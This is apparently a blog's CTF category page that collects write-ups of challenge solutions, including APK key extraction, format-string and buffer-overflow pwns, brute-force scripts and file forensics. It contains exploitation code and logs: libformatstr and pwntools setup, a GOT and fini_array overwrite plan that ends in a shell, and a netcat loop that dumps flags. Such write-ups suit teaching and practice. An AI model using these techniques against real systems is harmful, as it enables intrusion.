Articles in the CTF category

  1. Hack Fortress 2019 - helloworld2.apk


    Final Score

    Another great year of Hack Fortress at Shmoocon!
    I wanted to do a post on this challenge in particular becuase it was one of two 300 point challenges on the board. I always get inside my own head about these challenges but I remind myself: they are not normal CTF challenges. These challenges are meant to be solved in just a few minutes, since the board is pretty big and the length of the competition is pretty short (30 min for prelims, 45 min for finals).

    I always focus on the Data Exploitation challenges because they usually have high point values and consist of android application reversing, basic binary reversing, macOS and image forensics (thanks Sarah), obscure encoding, crypto (sometimes), and hardware, among other things. It's a very diverse but fun category. I solved three challenges totalling 525 points in this category in the finals. This particular challenge was the majority of those points, but actually took the least time since I've had experience with android application reverse engineering before.

    The challenge details were:

    Name: HelloWorld2
    Location: helloworld2.apk
    Points: 300
    Desc: Find the encryption key
    

    Whenever I get an APK I do two things:

    • Unpack it with [apktool](https://ibotpeaches.github.io/Apktool/)
    • Decompile it with [jad](http://www.javadecompilers.com/jad)/[JD-GUI](http://jd.benow.ca/)

    Unfortunately my version of dex2jar was out of date so I had some issues with my automated decompilation tools. I ended up downloading the newest version of dextools, running dex2jar, loading the jar into JD-GUI, and exporting the sources.
    Android apps always start with MainActivity, which was in the class path fortress/hack/helloworld2. The decompiled code is below.

    package fortress.hack.helloworld2;
    
    import android.os.Bundle;
    import android.support.v7.app.AppCompatActivity;
    import android.util.Base64;
    import android.view.View;
    import android.widget.EditText;
    import javax.crypto.Cipher;
    import javax.crypto.spec.IvParameterSpec;
    import javax.crypto.spec.SecretKeySpec;
    
    public class MainActivity
      extends AppCompatActivity
    {
      static
      {
        System.loadLibrary("native-lib");
      }
    
      public static String encrypt(String paramString1, String paramString2, String paramString3)
      {
        try
        {
          IvParameterSpec localIvParameterSpec = new javax/crypto/spec/IvParameterSpec;
          localIvParameterSpec.(paramString2.getBytes("UTF-8"));
          paramString2 = new javax/crypto/spec/SecretKeySpec;
          paramString2.(paramString1.getBytes("UTF-8"), "AES");
          paramString1 = Cipher.getInstance("AES/CBC/PKCS5PADDING");
          paramString1.init(1, paramString2, localIvParameterSpec);
          paramString1 = Base64.encodeToString(paramString1.doFinal(paramString3.getBytes()), 0);
          return paramString1;
        }
        catch (Exception paramString1)
        {
          paramString1.printStackTrace();
        }
        return null;
      }
    
      public void enceyptData(View paramView)
      {
        paramView = (EditText)findViewById(2131165238);
        ((EditText)findViewById(2131165239)).setText(encrypt(keyFromJNI(), getString(2131427370), paramView.getText().toString()));
      }
    
      public native String keyFromJNI();
    
      protected void onCreate(Bundle paramBundle)
      {
        super.onCreate(paramBundle);
        setContentView(2131296284);
      }
    }
    

    We are looking for the encryption key. In the encrypt function the first paramter passed is the key. We know this because the first parameter to the init function of javax.crypto.spec.SecretKeySpec is the key as bytes. Encrypt is called from MainActivity.enceyptData (sic) and the first parameter is keyFromJNI(). The function keyFromJNI has the prototype public native String keyFromJNI(); which means that there is a native library in the application that will provide the key back to the java app.
    Native libraries for an android application can be found in the lib directory of the APK. The unpacked apk shows four different architectures in the lib directory: arm64-v8a, armeabi-v7a, x86, and x86_64. I chose to look at the x86 version of libnative-lib.so, since Hopper is better at x86 than other architectures (in my opinion).
    Since I have reverse engineered java native libraries before I know to look for the function name and/or class name in the function list. Pictured below is both the search and the decompiled function.

    Hopper

    Looks like the classic "build a string as integers" trick. I'm assuming sub_61a0 is some kind of memory allocation function, and arg0 is always the JNIEnv pointer, which contains a bunch of useful functions to convert C types into java types to return. I'm guessing the arg0+0x29c is either NewString or NewStringUTF. Moving forward I just took all of the hex bytes from the four integers that get put into the key buffer and unhexlified them.

    In [26]: from binascii import unhexlify as unhex
    
    In [27]: unhex("212b2b636f74746f47756f596563694e")
    Out[27]: b'!++cottoGuoYeciN'
    

    Looks promising, but backwards...

    In [28]: unhex("212b2b636f74746f47756f596563694e")[::-1]
    Out[28]: b'NiceYouGottoc++!
    

    And there's the flag!
    NiceYouGottoc++

  2. MMACTF 2016 - Greeting


    Challenge description:

    Pwn
    Host : pwn2.chal.ctf.westerns.tokyo
    Port : 16317

    Reversing and Finding the Bug

    Reversing with radare2:

    Looks like another textbook format string vulnerability because the user buffer is put into sprintf and then straight into printf. This time I had to actually do the work of getting code execution because the flag was not loaded onto the stack.

    Running the binary

    I wanted to see the bug in action so I loaded up my Ubuntu VM using vagrant and checked it out:

     ./greeting
    Hello, I'm nao!
    Please tell me your name... %08x
    Nice to meet you, 080487d0 :)
    

    Neat. Now for exploitation.

    Background

    For information on printf and a more basic format string exploit, check out the post I did on the judgement pwn challenge also from this CTF. In addition to having positional arguments, printf also has a cool feature where you can write the number of bytes that have been printed so far to a variable. This feature is what makes format string vulnerabilities so dangerous. If you can exploit one, you can get arbitrary write.

    Passing %hn to printf in the format string will write up to a half word value of the number of characters written so far. Combining this with positional arguments allows for half a word at a time to be written to anywhere. So this is bad.

    If you are interested in learning more about how format string vulnerabilities work then check out this paper

    Exploitation

    I decided to use libformatstr for this because I have never used it before and it seemed useful so I didn't have to craft the buffer manually.

    The payload function takes two arguments: an argument number and a padding number. The offset number is the word distance in memory away from your input and the padding is the number of bytes your input needs to be padded for the addresses you enter to be word aligned. Libformatstr can be used to determine these numbers:

    from pwn import *
    from libformatstr import *
    
    e = ELF("./greeting")
    r = process(e.path)
    
    r.sendline(make_pattern(0x40))
    r.recvuntil("you, ")
    res = r.recv()
    print(res)
    argnum, padding = guess_argnum(res, 0x40)
    log.info("argnum: {}, padding: {}".format(argnum, padding))
    

    Running this resulted in an output of argnum: 12, padding: 2. There was one other bit that needed to be changed as well. Since "Nice to meet you, " was being prepended to my input I had to set an additional argument when setting up the format string exploit called start_num.

    Armed with the argument number, padding, and start number I was ready to try and overwrite some values. The issue I ran into was that there are no function calls after the call to printf in main. I though of trying to overwrite a destructor (dtors), but there were none. I came across a way to overwrite the fini section of a binary to execute a function when the program was supposed to be quitting. I could not find much documentation on exactly what I needed to overwrite to make this work so I just used objdump and grep to find the symbols with fini in the name:

    → objdump -t greeting | grep fini
    08048780 l    d  .fini  00000000              .fini
    08049934 l    d  .fini_array    00000000              .fini_array
    08049934 l     O .fini_array    00000000              __do_global_dtors_aux_fini_array_entry
    08048740 g     F .text  00000002              __libc_csu_fini
    08048780 g     F .fini  00000000              _fini
    

    Five choices. Through trial and error I determined that overwriting whatever was at __do_global_dtors_aux_fini_array_entry gave me control of the program.

    My plan of attack became the following:
    1. Overwrite __do_global_dtors_aux_fini_array_entry with main
    2. Overwrite the GOT entry for strlen with system
    3. Write the full format string line into the program
    4. When main executes the second time, write /bin/sh so that the call to strlen in the getnline function executes system("/bin/sh") and gives me a shell!

    I wrote the following script to do the above:

    Running it resulted in the flag :)

     python greet2.py REMOTE
    [*] '/home/vagrant/CTF/tokyo/greeting'
        Arch:     i386-32-little
        RELRO:    No RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE
    [x] Opening connection to pwn2.chal.ctf.westerns.tokyo on port 16317
    [x] Opening connection to pwn2.chal.ctf.westerns.tokyo on port 16317: Trying 40.74.112.206
    [+] Opening connection to pwn2.chal.ctf.westerns.tokyo on port 16317: Done
    [+] Wrote system onto strlen and main onto fini... trying shell
    [+] got shell
    [+] Flag: TWCTF{51mpl3_FSB_r3wr173_4nyw4r3}
    [*] Closed connection to pwn2.chal.ctf.westerns.tokyo port 16317
    

    W00t!
    TWCTF{51mpl3_FSB_r3wr173_4nyw4r3}

  3. MMACTF 2016 - Judgement


    Challenge description:

    Pwn Warmup
    Host : pwn1.chal.ctf.westerns.tokyo
    Port : 31729

    This was a binary pwn challenge, so I loaded it up in radare2 to take a look:

    Looks like a textbook format string vulnerability. printf has a positional arguments feature so normally you can specify which argument you want to use if you are the programmer. The following is an example use case of this:

    printf("3rd argument: %3$08x, 1st argument: %1$c\n", 'a', "unused", 0x41414141);
    

    This will print "3rd argument: 0x41414141, 1st argument: a"

    Format string vulnerabilities occur when a user controlled buffer is passed to printf. When printf is called it reads things off of the stack (function arguments) to print. Because the input buffer is passed straight in it allows reads off of the stack.

    Since the address of the flag was loaded on the stack before the main function it was somewhere reachable by printfs positional arguments.

    I just wrote a loop to brute force the exact offset number and spit out the flag:

     for i in {10..50}; do echo "%$i\$s" | nc pwn1.chal.ctf.westerns.tokyo 31729; done | grep CTF
    Input flag >> TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
    Input flag >> TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
    Input flag >> TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
    

    I got it more than once... but I got it.

    TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}

  4. CTFX 2016 - dat-boinary


    Reversing the Binary

    This challenge provided two binaries: dat-boinary and libc.so.6. Usually this combination requires you to leak memory, calculate offsets, and call system or an exec function from libc. With that in mind I jumped right in to reversing with radare2. The functions are rather large so I will leave this as an exercise to the reader. The binary can be found here.

    The first block of main allocates a dynamic buffer of size 0x80 with malloc and gets a "meme id" of up to 9 bytes that is stored in ebp-0x20. The next block provides five menu options: update the meme id, update the meme dankness, update meme content, print meme contents, and the super secret meme option. The first 4 are pretty straight forward, while the last is not so much.

    Stack locations of interest are:

    • ebp-0xc - location of menu choice (4 bytes)
    • ebp-0x10 - Temporary storage for the dankness of the meme (4 bytes)
    • ebp-0x14 - malloced buffer for meme content - (4 byte pointer)
    • ebp-0x18 - Meme dankness if the temporary dankness is greater than 0x7f (4 bytes)
    • ebp-0x20 - meme id location (8 bytes)

    After some trial and error in gdb I noticed that the initial fgets for the id of the meme takes 9 characters instead of the provided 8. This would prove useful later.

    Setting the meme id using the menu option used the length of the preexisting id to know how much to read from the user. This will also be useful, because as long as null bytes in the meme dankness can be avoided then the pointer to the malloced buffer can be overwritten and arbitrary write can be achieved. The only issue here is that this bug can only be triggered once without somehow making strlen return more than the actual strlen of the buffer. Again, that's a task for after investigation.

    Setting the dankness involved reading in a number into ebp-0x10 (temporary dankness storage), checking if it was over 0x7f, and then moving it into the meme dankness memory location (ebp-0x18) if that check was false. This is a problem because the meme dankness is directly before the pointer that I wanted to overwrite.

    The update content option does exactly what one would expect, but with one additional check: it uses fgets to read into the buffer allocated by malloc. The number of bytes it reads is the dankness number. Before anything is read it checks if the dankness is over 0x80, because that would cause a buffer overflow.

    Print contents is also straight forward; it prints the content of the meme with a proper call to printf.

    Finally, the secret meme function is passed the meme id buffer and then calls secret_meme. The secret_meme function sets meme id + 8 to 0x69696969 and prints something...

    ...


    Check out the full post for more details!

  5. IceCTF 2016 - So Close


    Challenge description

    Yet so far :( /home/so_close on the shell.

    Jumping right in I checked the binary's security with checksec and loaded it up in radare2:

    No NX and a call to read over stack data... sounds like a simple stack based buffer overflow. ...


    Check out the full post for more details!

  6. IceCTF 2016 - ROPi


    Challenge description:

    Ritorno orientata programmazione nc ropi.vuln.icec.tf 6500

    The binary provided with the challenge was an x86 ELF. I started by reversing it with radare2:

    Feel free to stop the video above to look at the functions! The main function just calls ezy, which reads 0x40 bytes on top of a buffer that is 0x28 bytes in size. This means that we are running 0x18 bytes over the buffer. The first 4 bytes after those 0x28 overwrite the saved EBP and then the next 4 overwrite EIP. To test this theory we load up the binary in gdb and put in 0x28 bytes, plus BBBB to overwrite EBP, then iiii to overwrite EIP:

    ...


    Check out the full post for more details!

  7. IceCTF 2016 - A Strong Feeling


    Challenge description:

    Do you think you could defeat this password checker for us? It's making me real pissed off! /home/a_strong_feeling/ on the shell or download it here

    I started by loading the bin into radare2 and once I realized how big the main function was I just tried running it with input.

    It looks like the sentence returned is different the more characters we get right and the same if we get the same number wrong. I had the idea to write a python script with pwntools that ran the binary over and over until a different sentence was produced:

    from pwn import *
    import string
    charset = string.ascii_letters + string.digits + "{}_#"
    context.log_level = 'error'
    
    flag = "I"
    b = ELF("./strong_feeling")
    
    p = process(b.path)
    p.sendline(flag)
    out = p.recvall()
    
    while flag[-1] != '}':
        for c in charset:
            p = process(b.path)
            p.sendline(flag+c)
            newout = p.recvall()
            if newout != out:
                out = newout
                flag += c
                print flag
                continue
    

    The results were quite satisfying:

    Flag acquired

    IceCTF{pip_install_angr}

    And yes I realize now that this could have just been solved with angr, but this was a cool way to do it too!

  8. IceCTF 2016 - Blue Monday


    Challenge Description:

    Those who came before me lived through their vocations From the past until completion, they'll turn away no more And still I find it so hard to say what I need to say But I'm quite sure that you'll tell me just how I should feel today. A file download was given for this challenge. Running file yielded the following result:

    → file blue_monday.mid
    blue_monday.mid: Standard MIDI data (format 1) using 1 track at 1/220
    

    Assuming it actually was MIDI, I opened it up in audacity with no luck. It was just a bunch of constant tones. This was at about 2:30AM so as a last effort before bed I just catted the file:

    → cat blue_monday.mid
    MThdTrkId\Icd\ced\eCd\CTd\TFd\F{d\{Hd\HAd\Acd\ckd\k1d\1nd\n9d\9_d\_md\mUd\U5d\5Id\Icd\c_d\_Wd\W1d\17d\7hd\h_d\_md\mId\IDd\D1d\15d\5_d\_Ld\L3d\3td\t5d\5_d\_Hd\H4d\4vd\vEd\E_d\_ad\a_d\_rd\r4d\4vd\v3d\3}d\}h/
    

    The point of interest here for me was that it looked like the beginning was spelling IceCTF{ but with extra characters in between. I loaded it up into ipython and ended up with this snippet to solve it:

    with open("blue_monday") as f:
        print(''.join([i for i in f.read() if ord(i)<127 and ord(i)>0x10 and i!='\\' and i !='d'])[7:][:-2][::2])
    

    Basically this just removes any character that is non-ascii, a backslash, or d, and then cuts off the first 7 characters (the header) and the last 2, and then takes every other character. They had just embedded the flag into a working MIDI file it seems. Anyway, when you run this it prints the flag: IceCTF{HAck1n9_mU5Ic_W17h_mID15_L3t5_H4vE_a_r4v3}

  9. IceCTF 2016 - Corrupt Transmission


    Challenge description:

    We intercepted this image, but it must have gotten corrupted during the transmission. Can you try and fix it?

    For this challenge a file with the extension .png was provided. A common CTF challenge is to corrupt some part of an image, so the solution is to fix it! I started with the header. According to Wikipedia the file header is supposed to start with 89 50 4E 47 0D 0A 1A 0A. Looking at the file using xxd we can see that this png does not start with those bytes:

    → xxd corrupt_orig.png | head -1
    00000000: 9050 4e47 0e1a 0a1b 0000 000d 4948 4452  .PNG........IHDR
    

    The first byte and bytes 5-8 are wrong. To fix, I opened the image up in hexedit and changed the bytes to their correct values. Opening the file provided a valid image:

    flag

    And of course, the flag: IceCTF{t1s_but_4_5cr4tch}

  10. IceCTF 2016 - Demo


    Challenge description:

    I found this awesome premium shell, but my demo version just ran out... can you help me crack it? /home/demo/ on the shell. The source for this challenge was provided:

    #define _GNU_SOURCE
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <libgen.h>
    #include <string.h>
    
    void give_shell() {
        gid_t gid = getegid();
        setresgid(gid, gid, gid);
        system("/bin/sh");
    }
    
    int main(int argc, char *argv[]) {
        if(strncmp(basename(getenv("_")), "icesh", 6) == 0){
            give_shell();
        }
        else {
            printf("I'm sorry, your free trial has ended.\n");
        }
        return 0;
    }
    

    So to get the flag we need to make the _ shell variable equal icesh. The _ shell variable in bash is always set to the program name of the command being run. So I decided to use a different shell to see what would happen.

    sh
    ls icesh; /home/demo/demo
    cat flag.txt
    IceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}
    

    And there we have our flag: IceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}

category/ctf/